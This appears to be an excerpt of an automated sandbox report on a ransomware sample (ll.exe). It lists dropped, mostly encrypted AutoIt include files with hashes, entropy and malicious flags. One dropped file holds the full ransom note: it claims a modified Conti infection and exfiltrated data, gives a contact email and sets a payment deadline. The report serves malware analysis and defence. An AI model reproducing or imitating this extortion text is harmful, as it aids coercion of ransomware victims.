Preview:...E...&`ep+.R........u]U.....*.a."1Mk..4.....%...8.uF`?fs}...M !^7C...-.....R.....Aa..9.e.Z.d.H...}.{..I..S;.+~$.fb...1{h$.[.8W.....p.Z3...=cp..}..j.b$..9~.....N$:q..+.w.<Y..6D....v..*.-...ob..< ..}.........qS&.`*t.....K.......{.$0!!h.g.....[..#z.wOE.;a..YB.6i0.&jt...}......H.!....m..b.....a..l1.c6.B_s.c..R9M.._.]x@.....J....'..........M.j..N.c...w!...U..7@.3s...B....`.......Z.m.*..R..jHZ.x.,:Q2./.....L.L.^...HF..,$...,]...C.............7.Ll*0..1...M....3=... .y<s^.p..3O.. .%..}..>0....I.S..x...n.........L.z..$...6d.Y...<D,....oS...7.n..L...E..m.@...5.s.&._.ok<y.!z.t....K......m$.....i......6...V}.C.9.}.../....CL.{..e"..s..ga.`.2..@....\..@a./.,.^q..,.g.....=..*.p.P]6.2....t..(..9:...;r7'...~.$3...c..g.]I...O.P......axw.Z......0....R8.o.,..OY.#d.L.4B=4..qp...B.b.g._.....`...w.r.zuF@w.x.....@.^.^V....1:..*.v+k..P... ...6F^.tl.i.......L.....P.....@a.......[T................8..C.j*CS.o.`r..>e...>..X.x.?u.02'..0.......k..A.,..J.l....@{...W.sj

C:\Program Files (x86)\AutoIt3\Include\NamedPipes.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14559
Entropy (8bit):7.985627517031547
Encrypted:false
SSDEEP:
MD5:7B06CFDF14483553EA76BFD744FB417D
SHA1:38B7398EE5871E6D85DCE863C26ABDEC36E8FB5F
SHA-256:41DB64D7904E9E6038B6C4D650677F25CCB004DA28163A6A673514A99B655665
SHA-512:9E840107FD4A28A6277B7814C20C157F3B09C03E35A61B2F1E46F7F2BEEC58E3D446A084260F32C1FD3A72F4546819412B8828651FB2FBF65E547D8BD2230C81
Malicious:false
Preview:.*..(.^.....7.4....%.y...Q.'j8R...I..R..9U+.38.....0...Y7....t:.qh^.p..i`@.......%.>b..VS5.....5L<....:...)}O.k..L..k.]..8]5....hH......&..]...{..k....9..Z.o./..W....6.u~.WY!.D...mW10.6p.i4..:^gG".W+> M.N....3...aF(...%.E..[.HO.../.R...;.e......O|._I..Fk..&.....5...eG.....xB..Sf...iH!t@2Ze:..^.....o..3.9X...`..!U.%._`....z.dH5.d.....{............R...A\gw..g..b..y3......g..Cf.u..eprl/...9o.,.7...8...LB......'q..T......2.|.B)...t..._.P.....A..<..z}b.{D.o,. uN........U..,w..P...0.1A.vU..#....gO..*........Hx5o%.L..MUw....&..A..v...^.........V..:L.j.H.".....E.69$..%...S....&...t..'..+fX:XJN^....<..Y.`w....I>>...j...Z....]....h}..S..U...w/..".....A-}...c..."..O..)..T.....6.z.7xb..y..=...X..z...A(...5.W...&.L#..cLA.z...|<M)9D1.J:...Q.T..SH)..VZ.F.....[w.np%s..Q8.).ss.9w...p...J.OJ..d......p.,..;........?..bD..#.OM].~V... ..GK.Q..{..w..V..[Zt~.>w..9.....u.Z_T'rxLm...TC9.'.il..LQB.1*....}.h..........k..W9/.6........Z..G.SO..S.1....}9...Ln...d...(.

C:\Program Files (x86)\AutoIt3\Include\NetShare.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:COM executable for DOS
Category:dropped
Size (bytes):46341
Entropy (8bit):7.996271681273717
Encrypted:true
SSDEEP:
MD5:3E047DA5C80211C1624866EED09E5BBB
SHA1:F61A30F15C29771C849F9C272C09DF808BA31872
SHA-256:42D5D30633CD5282A4C14157638751247CDF0A794E61AAB77BB6894D2C2B26C4
SHA-512:6D36B26A361782FAA51DA02D7F134438B12E1883169F5F77552B97E5A01A57F94354A46E1996644D9A2F4BAF5E1BB9AE87FFB4E7AE73E65A6615714C3F081DD1
Malicious:true
Preview:...CC;[...qN..\.G.{6..$.gB.91......r...n....v.4R....K_......AZ.i...i:..G..4..q......w...\.k......l..+..'..pC.....MO`d.W.X.......{6.Q..f{...].S..r..{.q.....B|.'..w...1........}r...{].k.OX.flKN..N.zu...j5q....X........E.|.P.D{......:.|..%.%Um.P ...8$.HH.x.b.\..W^.9...B.....y...U......0.....~..\rAAcG~..e'.R..E.s.t.h6./WI}..+....p.S.O^..}R.......h..........!P.7.)..S.s.2.#..........2u.....#[..>Lb.sa...A3.J.O=...N..V.F.....i<...B.}>.br.=.JLi.&..qv.XO...IM?.T.n...4Y.....FS.....z...P..z%p.h.qay..Y.m.....I....._).-z6....-.c.w.D.KGS\.i......FQ4en..m......{...r..}~.f........K..o..!&.oeQ...L....^....b......0.......]..R...;..!d......+SY.....Fi3..N[L..t.VM...q.AkU.~......8...k..E....".uQ..+.6l.o.n...xM.[....1..Gy..7u<J....|.........c.\A.//:$+......n)F.m[..i]r..(....oA.D..b.......z#.p..UD..f.{...}Z....v......).o.....e67...a6A....J.b.....V...jY...?.O.*....._.i...(....at..u.b..19..s\A..U.7.....=.h}m."+...x.o..k'>u...I1...b..Bum..^^{)..D...?.....

C:\Program Files (x86)\AutoIt3\Include\PowerPoint.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):58251
Entropy (8bit):7.996991485983261
Encrypted:true
SSDEEP:
MD5:CD496A6A5CF0C684C2C8DB79A57AE20D
SHA1:5CE4D001E8C6C23FD707ED2B0103D99D1893629D
SHA-256:6739BD021B009F6A8DFFBE88CF994716AC72DA7BC37CBACA27B00DBD78D7E867
SHA-512:061A29430640CEA7FA45A726EEFDAFD76341FD65AA4F37B5E03F0E92053172D54FDC9708F4580398F16251CFEFD3592F25A694223FFE01417A85CFCEE487679E
Malicious:true
Preview:.n.>.e.dztH..S.y..l....S`..J.u1p\v.q|.....w.k.l..A)7.-....v..z~.}..<F.Se.M...;'....z..1....g;... 1.n4."..g......j;..fp.._.....-..d..&\~....g.`..E+.2...c|..`.....[R/+YWY.^..$.......%9..J.N.Z/ek....t..c..-6...7nrp........m..d.=..A;.ep.%w...)Jz..2l.Q...*rU.V..v+1.....Y:..V=..B.W.Y#..=%..0.D...T.v.WZ..Z...m.k:...}L.\;d...t ...]..W.......]e...fr.......v...8D.._..=9.e.72.D._>.t..^.D.......X.....qP@Xv]1d=d..!..}4j.1...@9,....Y.)MO~..8.[....#A<.=....&........,XS...[.....,.7.U_....6.[..uW(.....2.....}c.r;..2.%.~*Xv... ...22..I.7...........>..C..I.h.........o.P.....O..U.?.].2....gF$.m.. .B5..yW1|.......@.ovK..RT..[&....>d....Z.....H!......'{../.#g.%e.....d.....f.....A.N.l.w...+Wh.".$H..$.~....:.<2...hP....K.JJM.|7N....&...r[!....\Z..}.r.Upu.~j.W..0.)....U.....V.^r. ....Kf..6.I....1K.!......M..H.......k..R9..\[|..>.L.U?..]..J.!..G..h/.}l._...Z{_.......[%.....0..Z..............qV......#Y.F.vRZ.....i.,?)v%).{....v.i.L...6#.....U1.W/..I...X..F...

C:\Program Files (x86)\AutoIt3\Include\PowerPointConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7695
Entropy (8bit):7.973234968942332
Encrypted:false
SSDEEP:
MD5:BAB8F439CEDFD82EEEF8444FD7D5218A
SHA1:524D6E69B4F210E859AD421259F6A3F5A7F97AD5
SHA-256:F72CDC77B8F85C918F8C7F8F00EC945D04FADCC86114BFA2D5E6DB4AB4B57A9C
SHA-512:EA801A30452BCB26808A59F04BD5794DFFEF54B8F2F29373DEC648F35C808C212E63C530883034833621507FB95CF8F43DC4A82732DC18D2EB6C74C28EC1B0AF
Malicious:false
Preview:`.2.vx....c..pl.....<.........nhy.\.;r^|GC.._.......8..zXS'.?.Tz.V.<.G_.G....;.i.^l....../X ...Q<..fg..v..Q].i@G...5.:[.}q...=6.....W.:>...fU.sF.:...L.....;.vW>}y.....!.....I"..H.;+..?q."W8N...?w?..B..Z.......b.m....95...p~a$..S.....W.{."..ED...:G.Z......w.........4.....%..$d*u?q.2....^."..n.K.>=..|..........j..7O;a.z....X.4.9k..o... .._..0.....>..Z.y.i.!y.M.}.Z..F.|x4.r...~l+...sa...........$......6.q?....&.X...>......Q...d.....i.F...=.k...J.um~.....n...=...G.uM.()(B6.."u.zb.R^..Q......R......*u....R...8....j...ER.j..........y"......>../V...`..^.@S.....tH..J.......R..N.N..R.D.?..(<..BE.%.......9.i..K...;...Rg4.@.*..: .<.mo..X...C...^.9.G0.x.I..({..A/........m..<..sk.].q..7....v8y. .T...zF.......u0~..;.`I.Y#..mLWP..-.5r..U=..._.|q..sx.,C.c...@.....R..u.......s ...#WY..*....f..V3a[.........c........t!.d|i<....3sj.c......sP.......d%V.`o.:...Uko}....2......s;.M)$......W,.....1J...6.G...B;.......a....8..d..s....d.M..$..}....%-..t......1.-

C:\Program Files (x86)\AutoIt3\Include\Process.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4355
Entropy (8bit):7.950357999665999
Encrypted:false
SSDEEP:
MD5:4B446A86CF6F30154176C6BDD4C063A8
SHA1:752AFA55BC580950FCD0B481C58FF2939EC84DBC
SHA-256:C46ADC14F1BF0D582B36D99C544F1C5139EC4DB36EE572B76ED1EEB42498D391
SHA-512:B5EB3B3921E569F995949930CDBB4C1197771F4CA96F45F42356EE90FF5F1B88D776EAB4144BB8ED971C0D55915DCE3B7D1C8FAEA2824975D17878D13E52A336
Malicious:false
Preview:,.(3..m...r...6.INp..1Bk..[..`.tc$=.......]\. )....u..j.N.P......lK7.P&.&.)..~.........p.<O.].=...8.. ....Rq.t.....N.lrw...D........;...A+...f...]U.(.+..X.].R.0.D....S}-.}....n..s..5......\....0l)......^..XH..E......04|....._.4.6}...g....1...s..-.w..Ng....l.O....o...l.......[..F.{..7..8QU{.]..;AII.L.,.[!.'.RP.H.a.e..._1j/2Bl.O..O4}%<@.B(.F......ET....B...zl.....O....B.3..5Gl.TBE.....w.<..\..f.....xtM.....>. . ..x..h.cw..L./.p8..>./...M...R..i2..bP.&...v~.&f*..(..._..f"....&~....5!|S.....lU..n?.y..D....K9Q@.)Z...v...r....S.ME../+...".M.X.7oA<.#.4NZ.J.BT....G...;O.....C..v.~......(.s.,m..../...R.].h....}A..0..+...<N.c.p..<........U.........e........fy<.....aX..D.3....JCG^*......OC...Mh;........S.pQ;.....4h.....@.... .........^1.<,...~..)P.R.zp.....GG).a8.E"...K~.A.b.........f...)K.2.Y...A&.......U.:.`l..2U....<.F.......}1..T.U..U.!......../.4#B..6cUg.-u..... i........Qq...C.k.7...I...i.`.h.7A..z.8d...\c..j~..=..E.UX".Ct*.<.K......P..t.

C:\Program Files (x86)\AutoIt3\Include\ProcessConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2003
Entropy (8bit):7.906869814200231
Encrypted:false
SSDEEP:
MD5:900CA257B3AAE3ABF2135C2752F2E453
SHA1:0999BCBE9521F4791B3F34D9633531FE6FBF08C5
SHA-256:6AC7148FC4652E18DC04771A66AF7085B0CBB3D98ACC0814B29E338663D47ADD
SHA-512:099A23C6B798A2B542A055F76E52BE8BC27503944A686F49383DE4A3B953C02B2D89516C24825659C6337E98F64EAA98AAB58CD23DAD5FF217ADDD0CADB8E1E3
Malicious:false
Preview:]....!y.0.Fq./.lfR..uj.R...k...........x.v..yz...v..G..^.;..^.&......U>...K.~$4.........!.\.H[t.<#Dx.n.....:9G.....b2....|.....T.?....k.\.Q....X.....e./<.Yx.s.$...S.NoB...(Q.....V....q....X...6..O.....z.D..Q7......!jP...)9...A+.c..HF.....;.qb.EQ.M....L....G/:$.....'>.<..e...p.....h0..E.C..l...e.q4T....^.>.!........G.d.as....G.Sj..8....gk.'X`.}..P......>F..k..FU...Z.>ev...@.....f../....S...4...S.vf......?.-...I@q.!P...$e....B..=...N/.L..2.I.2.<...!i.c^2....7....A...dP..fV.....[...qM........`}*.........w.7.`8R./..]K...O........./B...?..U..NDV.....!u...U\.Ya.0...~W....5.5.gcH...r.v......;{/.5.g9......Z..../..@1...............c6.H....=`....i.,.......>.....,J..4....Jy..!....6.Sw..f.j.9.3CWr.d`t......>>#....C.[E^.Bd.|.C7.e..P.n./TTF.@.<.@....H..)..Hsy....J<4.%u1..........:pp.F.. ..ax......0.4:.P....G.;.q.0..A..~.95@.d.........Q.t..8t<..........G.;..(...*.[..e....7."..vt:..C..J.5Q>.O.~....O.....}..(...j.2..h.....^...t...?_ ...=(..3..Y.i.......~V./.O1.

C:\Program Files (x86)\AutoIt3\Include\ProgressConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2601
Entropy (8bit):7.911501721793696
Encrypted:false
SSDEEP:
MD5:A5DBA9C832BCA4AA61A1C4F2D0B3FA80
SHA1:095B08C936A25ED718C10D36A650C7BC7392406E
SHA-256:D1B1FD9102119A4387F3A24F1989800A325A97287D4A72BBAA4E3AD4ECD36C41
SHA-512:CF48DE63964E6F0AAE5209E71ABFEDE9F528CA23BEB0F2F78670E0688C020837E7EC80A5212D717FF08E12844551BA388AAB89FD0E2624FA8450E483B9BC543A
Malicious:false
Preview:.2.\.cv.O......[r.,(..EEq.X.B....h....,;^1t"". D..2..7.....0.[^.a.}.(....EV...n..h...JkS.3M.;.Y...%.UJ/|_..mg.......K..T.8..B.^...T...Vx.Fo)E$..9....oKW6.o.....3447..T}uZ.Q.#f.N\.. )....>..RD..i.&..KaKHTGxR..W.r.@X&9...........=..`.4........]p.`.;....Fo(..=.O.y.i6;R....d....tdE..k.....A..q.U...!.....A..N..-....d.K........#..P..N.Q...:-.P.;3..D.H.QI.....s..........l:X. .qbX...v......E3.......XK..a...P....l..(`5.o...D..v..J.n...'.........i..T..K9a..PoQ..`...D..k..w...Q>.....2/Y..h..;.0G5..b.D...J|@.....y..........t9.8..|..n..d.......i9`..........#...k........(.?.m.,..;.<`|.%E..9+.......g`.A.A._w....i........6(.....@|...t`C.T..^...QV...L.|.%%s.9'67.d.H.......I..D/....dN..R.q;|.l;......2.o...S.hno....fG...........K....{].?..Z.G%...>y......L.b.].....{..)..5I..S.b.8......s...7$.-.....ZO.?.Y~....^....R..n.K....J.n..s-&..#....&..rBBU.do....q@........yO.`B..e.6...O..^.|3d..|?`..\%.....D=dE.4..,.......~g..........N..{zb......YE.....z...T.)h+.

C:\Program Files (x86)\AutoIt3\Include\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\Include\RebarConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6953
Entropy (8bit):7.971900297243649
Encrypted:false
SSDEEP:
MD5:52DAB7D40DA1C449F00DA43234DAEE26
SHA1:1C801CC8BCCC53230CECD1B3824596DD2768726E
SHA-256:BDE709F4869FE206EFB0B848C17E0AF00B22C76D601E83576D7B5C06291C240B
SHA-512:7C5FF87C05CB70BAC38FE4F9C3C0A2C819D8A137258B19734BCA296F5340B7855E31B2B4DD3B52BFB625CC2292D6276FDCF77A884156E4B5E314A245FC205373
Malicious:false
Preview:..V.........]^..a.p3..v...I.~Z6...o...}.=`.t}4T.0.1!.j.>..c...W.E.C........~..O0[ig.....!*xj...?........c..\P...3.7d7.3....\.-#@|3........>"..1..y&e..y..|.3.H.c.f..u|D.z|._.Yg..$E.c.=.Rmk@..\..y..h..a..=1..S..P0.>g..b.).D.J.t.W.....oM>WC..T...U....[5..|.E~WD.0...>..tU.s..&3..;by.<.PXD:...i...tv2....WeT,...r.5.!..kg....".=j).[....r_..*........E.....A*.....&.......0.#...........m...pE_8.]c./..~.||........5. .v,N...9....w...v_..P.U.0N..r2..X.i....E....Z..,.D..~.4......X^y.Q...!V>..w.).w....6.m......(gJ..m....v%].X.4..Mp.|.y..Y9....p.....R.+p.l.I..K&7.,dRr.XE..e..5..H.+..7....ZN..k.=.x.M.b4.H..;.Kr).G.0....P...45..Kc}H.~f_.,...9.I..f.T5..x..x]BdG.m"...FD.Z...f.d08...p...e....]N..wB@.W..\qsA..&.V@yZ.D..=.C.....%.M.v..E...M.h.|^.al.-.%.V1s...@.+*...$.....g.....\.V.1.4.A%D...,...yP.G......h.T............=..m.[.6[M..E.Pu.L..B..<{.A/P...6..`.4.#.Y.xT.j5.p...O..^dc...L..W.~.:.c.......+...>...7...m.V.+.q./\.'........@...`UN$0F.8.F..+p.+.D.o*7..)...A

C:\Program Files (x86)\AutoIt3\Include\RichEditConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14909
Entropy (8bit):7.986170715030362
Encrypted:false
SSDEEP:
MD5:62A8A2757351F307CD2A7B0024DE3CAC
SHA1:BF161CC71C6D4C6BC0601435D88A37BFCF3854BB
SHA-256:3EA65D9FCA31DD097F7DD51F541A77D4005C499A45E2E45C593DC4FB575B98C2
SHA-512:0F7B4CB79F471A5E3FF4A5258BDC54B255D995E9FD4B2369F646DD69901AB36C34C4E728A1A52DDECFE57D30E7F367ECBC6A4A1982DC4346863B95612C6E49D0
Malicious:false
Preview:ub.P..5..v.R:/.o`...PI.8Q.bd.K.0L..z.q.......w|.4L7...w=b...?...rU...2.....2K2..%.(.....~?9......1.;J.A.gl....A....a.+..c.W.r.Cl..6J.A....p.....n..a.@.4n],.y...h]..H...h..LLf.z....c.....PcM.kl..`....8.0....&WC.~`...@..].4...7...u..[. .....s.W.z. i....X.%....m...6.n.|...S.^.q.8h..[E...........7.D].HZ:..F...%qR.\Z.t..@...C.(:b.....W.@0.l.h..!........X..m..5.........y.>.._.i5.V)....s.#.Y........]...lnF.....lP.2a..='G.^..O.d.t..*...(.e.......ol..i..E...vnV.........-..x..L.&..t../2.).iA.....^.e.h.).>..%..T...b......R.....O..WT..X..m.!K.-B..w%....>...._G].d.y..yj),w...k.:fj.+...=!m.R...[..XK.#~.B..v8H....&.X..y....'.W[..*lN.3Y9.U..e...Q......]9[..U.[..}\Vx9.V..(.)9..Y1...ae.Z.m.....$....OU.".......1..Wb .....=....8d@...e..cY.&p.....f..)>..9....'.....^.4.O.MF..Ux....> ..L%9,..<.n..|P5.h./.p.n..x~'.......E<...O}.PjF.z~..@.^P..(....r...QA....?../.1D.... ........f..m4...g.......f....Z.C.....u/)...`...i..(.N .d..u.X{#A7..Fs.o..0..m}[

C:\Program Files (x86)\AutoIt3\Include\SQLite.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):57135
Entropy (8bit):7.996747973620233
Encrypted:true
SSDEEP:
MD5:69518475850CA6C8CC042664C988FDFA
SHA1:BD6C6CB087472F229A7D6FE838731A4BDD1922DE
SHA-256:934F7B2B05582DB0432D20DA17F17A4D314CC72B172088F371CCD44302E56541
SHA-512:15B9324BD4DB5C0022C5E5CAA8645A153743412ECC29ABDFE3A26163E77A006AF68625CF2E1431E4E08021D4B7317095DC8C44AF2F141854D0C4E476215C6256
Malicious:true
Preview:.......<.E...!!.O..yD5..A..v.2.F..2..k.[d.....s`C.V.rx..g...:..>.Fl...O.1..]bC.K =..8..k.y@..u.....3......)h?W=.$.....L.e..W.x..=...".....&...Rf.3....._*....?9.r....7V...k[m...L..m.D.H.=.3.el...3j|9$.[....K .=....^...c/.,I.C......(H..4.o.4>Ot..0S.wl....b...G~[..,.)...8./.8..=..V.oi.G......s..f4........L...kPn...r..x.N....K.."2wf.l...E.D=.........cB.. q.....VJ...u"X..E.....V.)/00...MbO.Mr.yF-..<.}_@_../..-l....,........ug!=w....W).....L.-Y+.w....$...-...R......i.<..u..w............v.M`<....hn...ul6../.j...F...L......m..w.Bl..A.P..nM._. .XC._;.'.......v@@Fs.[........~.....RX..QC.a.m...h.WY.Y....q.GL...@3.N&.....e..:..:W.am..!6..[.....Q2........7>{..v..XR|2.......F..rs..)a.]/...Pg.c.c],......W(.;.0..7)..ma.J..<....B..R.5.Khx..Z3,U%w..G2...|.,...~...............fO.....J.SE<gt$...RkfF..C...Xt..grW#0............`..i....f.f...m3._..C.......+%...a......2.. .c..............n...h.@X5.....2+._...U.*3..%....b..Z.;>...H.G.....6........\.f...!

C:\Program Files (x86)\AutoIt3\Include\ScreenCapture.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11563
Entropy (8bit):7.984598246005143
Encrypted:false
SSDEEP:
MD5:4F42DCF02F799D638C53D795D265CEF3
SHA1:25DE1C8325B5500D51D9EBE68FF0DDF39F559770
SHA-256:609A4092CBFB13386542B8BE9F5FDD093F75ACF70BBEDCF249CB9C69C755328E
SHA-512:147A18A78F47AB227EB18E18B4D073526A5BF68FBDC090A902B38828F1AD9071EAA50CEE10479C2AA0E697427C1DDA50D217CE1B321CD9621165132F307DF51B
Malicious:false
Preview:.O..$.."..............@M..l.Q....zP...A..xr..|l._.!.......*"...h..@..3u5......G.yr.....+VPA.p.......G...l..Q..?v$..e.xrk.B|o..1.C.pv9B6L..l.._.@.y.....!...V..:;...w.%..LXs.d.f..R.]..Q4[...Y........(D..@.g.L..o...z4I.........L&.T..nG....$.H[p..OU..g{:"..\.K.....v..g...&".D..........g..0..w.Z-.b..N.]...cpG\u.K.........;N.../t[..u.......;..PId7...e.....R...\.}.V...J.Lv.L.7B.N.-..^-..`$.<#..*{.W..7:J.H.........hJ.R.'.,..A...A....h..:..y..U.u..3..X....iH.*..4...^N..W.\.R....h..<..........u......T..d..._ZB...$...CvO/lf......A..3W..a4...C..O..@7.Hpg.....1.t+$.*.t.].EQu...........)l.\..GOQ.?.......Vi...E.=Vu..V.&0'.5..!uU1,..>......l]....@.Rv...0....#.).dw].....R......T.........F.Hb9.'V.@w...D...HyxD....(....s.42.z".|]r..l.>.U.E..4....{_ZA^.@..3. ....?....6..ty./}?..?..'.L...Py.E..(t..Y=..i.zLm. .$&v..& .TY..l...jHN....x..c.+.vn.{[Z........r.~|..N.S.).H.Z.m;.......i..o.......l.=.(+...4to^...J........D./.oyi..hT*G:...H.rm).}.;......*.w.D.N%..>

C:\Program Files (x86)\AutoIt3\Include\ScrollBarConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1032
Entropy (8bit):7.761902722076084
Encrypted:false
SSDEEP:
MD5:CF9976EF083A972769E3EDC9DFC63D94
SHA1:3F001D5E3D1EEFA5810469DE7B5338CA73F3EFDE
SHA-256:997F9A10435B8FC2820988AB4F19AA32653F52507FE674D003C55EEF8EFC8481
SHA-512:FFFF3463635C5C7EBC912F150E5DD3CEC776AFA7906E7DE006CC5E3FA2F7B7CDDBE8C0EB884EE79610F36BC13628049DCD0330CB6567424A6067B06C278DB176
Malicious:false
Preview:..p....y...r...5.......q..Q....K.@^j.*3$z..lv.&|8L{Y....K.D...}..+. B..#1x....#x...%....(r....8./..tbD..F..G.km.6.1.. ..f.<..T.....[..=l@=.W.+.b..f(...m.....W..f.oM.T....Y......y:...Z......+...y.?.c+....\2...1.7.H8hE...'../..../.)...-.>...G.'=#...%Y.%.....~..J...(..........A....b..N..?...........NG6....O......@.)v.._p..N.~.]:.gcd.S.xO.K...<.C...7...t....0..I...].4Q.E.g.v..%.9.C.0d:.,o5f.G....` .%.f7.4...(0..Yh.....\..5t .dq.3>.:*...%.fT/"Q9...qf..V...Jn...X.gN.A_Q.T.8`I#.$...+._.&.f.+..}htxG...N..l.4...2.:5.%.P&@..].I.Yy..3~s....x..-FEK....a..js.5[b.j.U{x4..o....'8.....J!Bv...NIP..>.P......+[..k....Y1PG..WTJrw,......!..b..@.G..........C=..RB.......;.R)"..2......C...9...}...c@2...&..e~%...-.1=.b.4.<...^...b..y!#4...O-%h......k......$.8.../.-d:Ex2j.b.:..'..utC..W,/%...nfK..%..@&.v.l...>f.d.....+..7....G..o..$...dQ.7...Yq.]........g.{...t.g,.>o[g...l.....X%t....h.c.h...........9h../,Zr..7(.....R...H....u.5J.,u].B.....e.r.O..w..(

C:\Program Files (x86)\AutoIt3\Include\ScrollBarsConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2495
Entropy (8bit):7.9191206117110555
Encrypted:false
SSDEEP:
MD5:4CE7D2C80C826C18C21AFA25019A600A
SHA1:40130C98FAB123DB9A355A7F34E0727F315097F6
SHA-256:18E848F45458435F4334C21EF7BAAE2EC1A4D5D155B132CE82725E5183AB9F02
SHA-512:A2FEA09AC28DD046A1571AEEA84825431D587A659F1027D241832FDEA48E3596688643890FE60524EA4C449F4844A907FE7167B069C00964439714AC093AC4A3
Malicious:false
Preview:........i9........@G.5 8....BO...H+..C......v.`...[sx.f..i...b.V...0....:#.`..Th...a..........f..T}.^....i..@l.bwoJ.qb....o.t..+~...0.2...h.;.b.Wg.Ro...y..6..4iw..q...su.H.......o2(.9M.O.0....7..b..RVw^..Ib.d~.MF...A....g.8z.....Q$............X..h;I....M....O>.H<..@....EJ.(.N.4...lXb)`...+)..g\@....@.V.'.....Ii.-.J.).OSO..eCG..a|.,.....}!...).....g..xYc......>..f..;R.)...#24..C.(.q..]+.ElJ.]...k.1^n..*j....{qXi....`T..._/..f...+........"obJ?........JL....`.FHk..C...HM.O...z<.....{.>......P..)_.B..`.`.<Z......K.%...f.^V....5....Kl..c.(.................7{|.._2LvKzc..=.g..............,^..l.t.w..,;X\.v1...~..j...7.n.S.v.g..VCo."7.....`.%y.....$.6G~^.8..J.2..oo...p.<..G....%.o......U.R>A...(`.Z...^....J.=.?.....T'..bg..@j,9...1.D(|..$....'@D.WGn#..8.&..{...(....y.T...B......DYmT..^i+\.?..M=v...].G.d.].._.U...0..t.%.2..@....h=....GG6s../.&.C.-.g*J.S.y6Z..........)9....:..D...|)<.@QU.*b....S...X.;....".t...P(.L....I.!/....S.B.$|.z...

C:\Program Files (x86)\AutoIt3\Include\Security.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):18610
Entropy (8bit):7.99009907238508
Encrypted:true
SSDEEP:
MD5:3AD8334F07FF0C88F9E3AFEA585D9B6A
SHA1:4A950FE5C208D550CFE587F527BDF6D9682E9445
SHA-256:F8C887D5CB453D2B03FD96DE43EDC10C648C12F4CDDAC680800BED96729B005A
SHA-512:B1382DA2C8758B985D8062F236932036A3EE8314C314E0BCBCCF54C9BD59B656FCDF58E2319F0D35860DF65835C6272B3A818FA93DDBF9498A9545F8F434F167
Malicious:true
Preview:/.C.1.r........,...-\...Y......%..a.K..\...`.LkM.T...*9>;J.....s.\b..b..z....D.k..%.M%..C.=8k_.E&....D..Kh.M..E.:.h..;..ydx.g2...#.....$.......V...@....R....t.U..{|...7<&...2.n.>g..,.X.....%Z5.g.....}....%ZR.".'..=..Y..P.e..J.}.q........V,<.p..7.........Q..p....f...5.....#.a.M.2......'..y.1(1/..0....z.%-rG..{.t.s=.zO..p..gI....._..c:...w......q.R3.nk......4.U.v~......}P..RE{.z..<1......E\.?.YO 1D...[R-@..\{...y.:....8.}..q..\,.q.....S..96P...L..w...8.m+.......0.u.,....F.ur...{.......l...)m.LR..r.4_U...,.!7n.#...x.s.C./.fZrnChHN.M^Vv.<.b.3...,..7.....q-.6..W.u............#o<.ZJ.(....6+a..4].wY./.jg.9F'eE.-...p.QG1u.d.Pj.g(.(R.^T.$<...d..,>......|..1..<...{.El..V|..Li.e..a..'...M3..../.....+6._.8...'.(5..N.&.....d...i........`<)egF...........B..`...d..e......C[..X.k7[m.7...w.8..K.X..v1..0.zC.cM.h..l...#u^$.7..2!.F...<GD$n]5.G..sf.(.4...,..?'.)DI..{c...,.u.n.]...(....<rlr<.%..]Ha.......[.z.K......"@...gtp....Yq.......b..<........wc

C:\Program Files (x86)\AutoIt3\Include\SecurityConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8492
Entropy (8bit):7.9744790314204215
Encrypted:false
SSDEEP:
MD5:76A238D4606CD62CFD66BD576E1BDAD8
SHA1:4DF075AD5EFE24840F423EDA9BCC06CC56613BE7
SHA-256:7C0708064EBDEE24EA2032A252555339E49B7219D0DC945E0138BE88958C093D
SHA-512:589533FB36BC150B0E016B278C4D990EA380D927F6E1E1A551947892DD7696A274B5C3D9E576BB8E9DDAD9F157FD8CC27805785667ED252C6307F2FD43ABC1B8
Malicious:false
